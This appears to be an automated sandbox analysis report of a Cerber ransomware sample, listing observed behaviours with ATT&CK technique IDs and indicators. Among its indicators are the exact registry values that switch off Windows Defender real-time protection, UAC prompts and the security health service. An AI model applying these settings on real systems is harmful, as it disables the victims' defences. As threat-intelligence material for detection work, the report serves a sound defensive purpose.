cerber | 3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 7 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Detected Nirsoft tools 1 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral1/files/0x0005000000019db8-80.dat	Nirsoft

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1764	powershell.exe
1160	powershell.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
2160	netsh.exe
1960	netsh.exe

Executes dropped EXE 25 IoCs

pid	Process
2376	sg.tmp
684	AMIDEWINx64.EXE
1532	AMIDEWINx64.EXE
1796	AMIDEWINx64.EXE
1616	AMIDEWINx64.EXE
2024	AMIDEWINx64.EXE
1748	ycyp.exe
1040	sg.tmp
1920	DevManView.exe
756	DevManView.exe
1300	DevManView.exe
2388	DevManView.exe
560	DevManView.exe
1172	DevManView.exe
288	DevManView.exe
2188	DevManView.exe
1308	DevManView.exe
2232	DevManView.exe
1608	DevManView.exe
2296	DevManView.exe
2404	DevManView.exe
2548	DevManView.exe
2540	DevManView.exe
2152	DevManView.exe
1532	ycyp.exe

Loads dropped DLL 29 IoCs

pid	Process
2104	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe
3000	cmd.exe
3000	cmd.exe
3000	cmd.exe
3000	cmd.exe
3000	cmd.exe
3000	cmd.exe
3000	cmd.exe
3000	cmd.exe
3000	cmd.exe
3000	cmd.exe
1748	ycyp.exe
1804	cmd.exe
1804	cmd.exe
1804	cmd.exe
1804	cmd.exe
1804	cmd.exe
1804	cmd.exe
1804	cmd.exe
1804	cmd.exe
1804	cmd.exe
1804	cmd.exe
1804	cmd.exe
1804	cmd.exe
1804	cmd.exe
1804	cmd.exe
1804	cmd.exe
1804	cmd.exe
1748	ycyp.exe

Enumerates connected drives 3 TTPs 32 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\F:	DevManView.exe
File opened (read-only)	\??\F:	DevManView.exe
File opened (read-only)	\??\F:	DevManView.exe
File opened (read-only)	\??\D:	DevManView.exe
File opened (read-only)	\??\F:	DevManView.exe
File opened (read-only)	\??\D:	DevManView.exe
File opened (read-only)	\??\F:	DevManView.exe
File opened (read-only)	\??\F:	DevManView.exe
File opened (read-only)	\??\D:	DevManView.exe
File opened (read-only)	\??\D:	DevManView.exe
File opened (read-only)	\??\D:	DevManView.exe
File opened (read-only)	\??\F:	DevManView.exe
File opened (read-only)	\??\F:	DevManView.exe
File opened (read-only)	\??\D:	DevManView.exe
File opened (read-only)	\??\F:	DevManView.exe
File opened (read-only)	\??\F:	DevManView.exe
File opened (read-only)	\??\D:	DevManView.exe
File opened (read-only)	\??\F:	DevManView.exe
File opened (read-only)	\??\F:	DevManView.exe
File opened (read-only)	\??\D:	DevManView.exe
File opened (read-only)	\??\D:	DevManView.exe
File opened (read-only)	\??\D:	DevManView.exe
File opened (read-only)	\??\D:	DevManView.exe
File opened (read-only)	\??\D:	DevManView.exe
File opened (read-only)	\??\F:	DevManView.exe
File opened (read-only)	\??\D:	DevManView.exe
File opened (read-only)	\??\F:	DevManView.exe
File opened (read-only)	\??\D:	DevManView.exe
File opened (read-only)	\??\D:	DevManView.exe
File opened (read-only)	\??\F:	DevManView.exe
File opened (read-only)	\??\D:	DevManView.exe
File opened (read-only)	\??\F:	DevManView.exe

Maps connected drives based on registry 3 TTPs 32 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	DevManView.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	DevManView.exe

Modifies Security services 2 TTPs 1 IoCs

Modifies the startup behavior of a security service.

defense_evasion

Modify Registry

defense_evasion privilege_escalation

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SecurityHealthService\Start = "4"	reg.exe

Power Settings 1 TTPs 2 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
2244	powercfg.exe
2092	powercfg.exe

UPX packed file 12 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2104-0-0x0000000000400000-0x0000000000783000-memory.dmp	upx
behavioral1/memory/2104-30-0x0000000000400000-0x0000000000783000-memory.dmp	upx
behavioral1/files/0x0005000000019c3a-49.dat	upx
behavioral1/memory/1748-50-0x0000000000400000-0x0000000000545000-memory.dmp	upx
behavioral1/memory/2104-122-0x0000000000400000-0x0000000000783000-memory.dmp	upx
behavioral1/memory/1532-147-0x0000000000400000-0x0000000000545000-memory.dmp	upx
behavioral1/memory/1748-148-0x0000000000400000-0x0000000000545000-memory.dmp	upx
behavioral1/memory/1532-150-0x0000000000400000-0x0000000000545000-memory.dmp	upx
behavioral1/memory/1748-144-0x0000000000400000-0x0000000000545000-memory.dmp	upx
behavioral1/memory/2104-168-0x0000000000400000-0x0000000000783000-memory.dmp	upx
behavioral1/memory/1520-167-0x0000000000400000-0x0000000000783000-memory.dmp	upx
behavioral1/memory/1520-170-0x0000000000400000-0x0000000000783000-memory.dmp	upx

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\INF\setupapi.app.log	DevManView.exe

Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs

Create Process with Token

T1134.002

pid	Process
2644	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ycyp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ycyp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe

Checks SCSI registry key(s) 3 TTPs 64 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

System Information Discovery

description	ioc	Process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_Dell&Prod_THINAIR_DISK	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_Dell&Prod_THINAIR_DISK	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_Dell&Prod_THINAIR_DISK	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_Dell&Prod_THINAIR_DISK	DevManView.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_Dell&Prod_THINAIR_DISK	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_Dell&Prod_THINAIR_DISK	DevManView.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_Dell&Prod_THINAIR_DISK	DevManView.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_Dell&Prod_THINAIR_DISK	DevManView.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_Dell&Prod_THINAIR_DISK	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_Dell&Prod_THINAIR_DISK	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_Dell&Prod_THINAIR_DISK	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_Dell&Prod_THINAIR_DISK	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_Dell&Prod_THINAIR_DISK	DevManView.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_Dell&Prod_THINAIR_DISK	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_Dell&Prod_THINAIR_DISK	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	DevManView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_Dell&Prod_THINAIR_DISK	DevManView.exe

Kills process with taskkill 6 IoCs

evasion

pid	Process
2276	taskkill.exe
2344	taskkill.exe
2720	taskkill.exe
1204	taskkill.exe
2912	taskkill.exe
2772	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1748	ycyp.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
1160	powershell.exe
1764	powershell.exe
1920	DevManView.exe
756	DevManView.exe
1300	DevManView.exe
2388	DevManView.exe
560	DevManView.exe
1172	DevManView.exe
288	DevManView.exe
2188	DevManView.exe
1308	DevManView.exe
2232	DevManView.exe
1608	DevManView.exe
2296	DevManView.exe
2404	DevManView.exe
2548	DevManView.exe
2540	DevManView.exe
2152	DevManView.exe
1748	ycyp.exe
2104	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
476	Process not Found
476	Process not Found
476	Process not Found
476	Process not Found
476	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeBackupPrivilege	2104	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe
Token: SeRestorePrivilege	2104	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe
Token: 33	2104	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe
Token: SeIncBasePriorityPrivilege	2104	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe
Token: 33	2104	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe
Token: SeIncBasePriorityPrivilege	2104	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe
Token: 33	2104	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe
Token: SeIncBasePriorityPrivilege	2104	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe
Token: SeRestorePrivilege	2376	sg.tmp
Token: 35	2376	sg.tmp
Token: SeSecurityPrivilege	2376	sg.tmp
Token: SeSecurityPrivilege	2376	sg.tmp
Token: SeDebugPrivilege	2104	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe
Token: 33	2104	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe
Token: SeIncBasePriorityPrivilege	2104	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe
Token: SeBackupPrivilege	1748	ycyp.exe
Token: SeRestorePrivilege	1748	ycyp.exe
Token: 33	1748	ycyp.exe
Token: SeIncBasePriorityPrivilege	1748	ycyp.exe
Token: SeDebugPrivilege	1160	powershell.exe
Token: SeDebugPrivilege	1764	powershell.exe
Token: 33	1748	ycyp.exe
Token: SeIncBasePriorityPrivilege	1748	ycyp.exe
Token: 33	1748	ycyp.exe
Token: SeIncBasePriorityPrivilege	1748	ycyp.exe
Token: SeRestorePrivilege	1040	sg.tmp
Token: 35	1040	sg.tmp
Token: SeSecurityPrivilege	1040	sg.tmp
Token: SeSecurityPrivilege	1040	sg.tmp
Token: 33	1748	ycyp.exe
Token: SeIncBasePriorityPrivilege	1748	ycyp.exe
Token: SeBackupPrivilege	1920	DevManView.exe
Token: SeRestorePrivilege	1920	DevManView.exe
Token: SeTakeOwnershipPrivilege	1920	DevManView.exe
Token: SeImpersonatePrivilege	1920	DevManView.exe
Token: SeLoadDriverPrivilege	1920	DevManView.exe
Token: SeLoadDriverPrivilege	1920	DevManView.exe
Token: SeLoadDriverPrivilege	1920	DevManView.exe
Token: SeLoadDriverPrivilege	1920	DevManView.exe
Token: SeLoadDriverPrivilege	1920	DevManView.exe
Token: SeLoadDriverPrivilege	1920	DevManView.exe
Token: SeLoadDriverPrivilege	1920	DevManView.exe
Token: SeLoadDriverPrivilege	1920	DevManView.exe
Token: SeLoadDriverPrivilege	1920	DevManView.exe
Token: SeLoadDriverPrivilege	1920	DevManView.exe
Token: SeLoadDriverPrivilege	1920	DevManView.exe
Token: SeLoadDriverPrivilege	1920	DevManView.exe
Token: SeLoadDriverPrivilege	1920	DevManView.exe
Token: SeLoadDriverPrivilege	1920	DevManView.exe
Token: SeLoadDriverPrivilege	1920	DevManView.exe
Token: SeLoadDriverPrivilege	1920	DevManView.exe
Token: SeBackupPrivilege	756	DevManView.exe
Token: SeRestorePrivilege	756	DevManView.exe
Token: SeTakeOwnershipPrivilege	756	DevManView.exe
Token: SeImpersonatePrivilege	756	DevManView.exe
Token: SeBackupPrivilege	1300	DevManView.exe
Token: SeRestorePrivilege	1300	DevManView.exe
Token: SeTakeOwnershipPrivilege	1300	DevManView.exe
Token: SeImpersonatePrivilege	1300	DevManView.exe
Token: SeBackupPrivilege	2388	DevManView.exe
Token: SeRestorePrivilege	2388	DevManView.exe
Token: SeTakeOwnershipPrivilege	2388	DevManView.exe
Token: SeImpersonatePrivilege	2388	DevManView.exe
Token: SeBackupPrivilege	560	DevManView.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2104 wrote to memory of 788	2104	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe	30
PID 2104 wrote to memory of 788	2104	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe	30
PID 2104 wrote to memory of 788	2104	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe	30
PID 2104 wrote to memory of 788	2104	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe	30
PID 2104 wrote to memory of 2376	2104	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe	32
PID 2104 wrote to memory of 2376	2104	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe	32
PID 2104 wrote to memory of 2376	2104	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe	32
PID 2104 wrote to memory of 2376	2104	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe	32
PID 2104 wrote to memory of 3000	2104	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe	35
PID 2104 wrote to memory of 3000	2104	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe	35
PID 2104 wrote to memory of 3000	2104	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe	35
PID 2104 wrote to memory of 3000	2104	3e6aed34833aa5354beceaa6b6a3180b831344f3c1d37fd7e3e947f2fdded63c.exe	35
PID 3000 wrote to memory of 2364	3000	cmd.exe	37
PID 3000 wrote to memory of 2364	3000	cmd.exe	37
PID 3000 wrote to memory of 2364	3000	cmd.exe	37
PID 2364 wrote to memory of 2812	2364	cmd.exe	39
PID 2364 wrote to memory of 2812	2364	cmd.exe	39
PID 2364 wrote to memory of 2812	2364	cmd.exe	39
PID 2364 wrote to memory of 2652	2364	cmd.exe	40
PID 2364 wrote to memory of 2652	2364	cmd.exe	40
PID 2364 wrote to memory of 2652	2364	cmd.exe	40
PID 2364 wrote to memory of 2808	2364	cmd.exe	41
PID 2364 wrote to memory of 2808	2364	cmd.exe	41
PID 2364 wrote to memory of 2808	2364	cmd.exe	41
PID 2364 wrote to memory of 2972	2364	cmd.exe	42
PID 2364 wrote to memory of 2972	2364	cmd.exe	42
PID 2364 wrote to memory of 2972	2364	cmd.exe	42
PID 2364 wrote to memory of 2644	2364	cmd.exe	43
PID 2364 wrote to memory of 2644	2364	cmd.exe	43
PID 2364 wrote to memory of 2644	2364	cmd.exe	43
PID 2644 wrote to memory of 2664	2644	mshta.exe	44
PID 2644 wrote to memory of 2664	2644	mshta.exe	44
PID 2644 wrote to memory of 2664	2644	mshta.exe	44
PID 2664 wrote to memory of 2636	2664	cmd.exe	46
PID 2664 wrote to memory of 2636	2664	cmd.exe	46
PID 2664 wrote to memory of 2636	2664	cmd.exe	46
PID 2664 wrote to memory of 2684	2664	cmd.exe	47
PID 2664 wrote to memory of 2684	2664	cmd.exe	47
PID 2664 wrote to memory of 2684	2664	cmd.exe	47
PID 2664 wrote to memory of 2696	2664	cmd.exe	48
PID 2664 wrote to memory of 2696	2664	cmd.exe	48
PID 2664 wrote to memory of 2696	2664	cmd.exe	48
PID 2664 wrote to memory of 1788	2664	cmd.exe	49
PID 2664 wrote to memory of 1788	2664	cmd.exe	49
PID 2664 wrote to memory of 1788	2664	cmd.exe	49
PID 2664 wrote to memory of 2160	2664	cmd.exe	50
PID 2664 wrote to memory of 2160	2664	cmd.exe	50
PID 2664 wrote to memory of 2160	2664	cmd.exe	50
PID 3000 wrote to memory of 684	3000	cmd.exe	51
PID 3000 wrote to memory of 684	3000	cmd.exe	51
PID 3000 wrote to memory of 684	3000	cmd.exe	51
PID 3000 wrote to memory of 1532	3000	cmd.exe	52
PID 3000 wrote to memory of 1532	3000	cmd.exe	52
